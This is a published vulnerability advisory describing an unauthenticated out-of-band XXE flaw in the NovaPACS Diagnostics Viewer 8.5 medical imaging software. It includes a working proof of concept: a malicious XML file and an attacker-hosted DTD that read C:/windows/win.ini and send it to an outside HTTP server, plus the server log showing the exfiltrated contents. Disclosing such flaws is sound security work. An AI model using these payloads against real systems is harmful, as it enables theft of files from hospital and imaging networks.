NovaRad NovaPACS Diagnostics Viewer 8.5 File Disclosure

2018.09.06
mk LiquidWorm (MK) mk
Risk: Medium
Local: No
Remote: No
CVE: N/A
CWE: N/A

NovaRad NovaPACS Diagnostics Viewer v8.5 OOB XXE File Disclosure Vendor: NovaRad Corporation Product web page: https://www.novarad.net Affected version: 8.5.19.75 (Diagnostics Viewer, Study Browser) Summary: NovaPACS revolutionary workflow infrastructure has been designed and developed using the expertise of radiology directors, technicians, PACS administrators for over 20 years. This wealth of imaging experience has lead to over 850 installations in more than 15 countries as well as key partnerships throughout the imaging industry. Built as a completely scalable solution, NovaPACS can be used in imaging centers, or in a hospital environment as a part of a complete enterprise imaging strategy. Our feature-rich PACS system is entirely customizable. This allows optimization of each useras profile based on their unique needs and demands which, improves both speed and efficiency. The NovaPACS user interface can display reports, priors and patient histories right alongside the most current study. Desc: NovaPACS suffers from an unauthenticated XML External Entity (XXE) injection vulnerability using the DTD parameter entities technique resulting in disclosure and retrieval of arbitrary data from the affected node via out-of-band (OOB) channel attack. The vulnerability is triggered when importing XML format preferences within the settings submenu. Tested on: Microsoft Windows 7 Professional SP1 (EN) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2018-5488 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5488.php 28.08.2018 -- Malicious.xml: <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ZSL [ <!ENTITY % remote SYSTEM "http://10.0.1.230:8080/xxe.xml"> %remote; %root; %oob;]> Attacker's xxe.xml: <!ENTITY % payload SYSTEM "file:///C:/windows/win.ini"> <!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://10.0.1.230:8080/?%payload;'> "> Data retrieval: lqwrm@metalgear:~$ python -m SimpleHTTPServer 8080 Serving HTTP on 0.0.0.0 port 8080 ... 10.0.1.230 - - [28/Aug/2018 16:27:48] "GET /xxe.xml HTTP/1.1" 200 - 10.0.1.230 - - [28/Aug/2018 16:27:48] "GET /?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1%0D%0A[MCI%20Extensions.BAK]%0D%0A3g2=MPEGVideo%0D%0A3gp=MPEGVideo%0D%0A3gp2=MPEGVideo%0D%0A3gpp=MPEGVideo%0D%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGVideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGVideo%0D%0Amod=MPEGVideo%0D%0Amov=MPEGVideo%0D%0Amp4=MPEGVideo%0D%0Amp4v=MPEGVideo%0D%0Amts=MPEGVideo%0D%0Ats=MPEGVideo%0D%0Atts=MPEGVideo%0D%0A[FIX%20DMACS]%0D%0AMinAfterStartup=0 HTTP/1.1" 200 -

References:

https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5488.php


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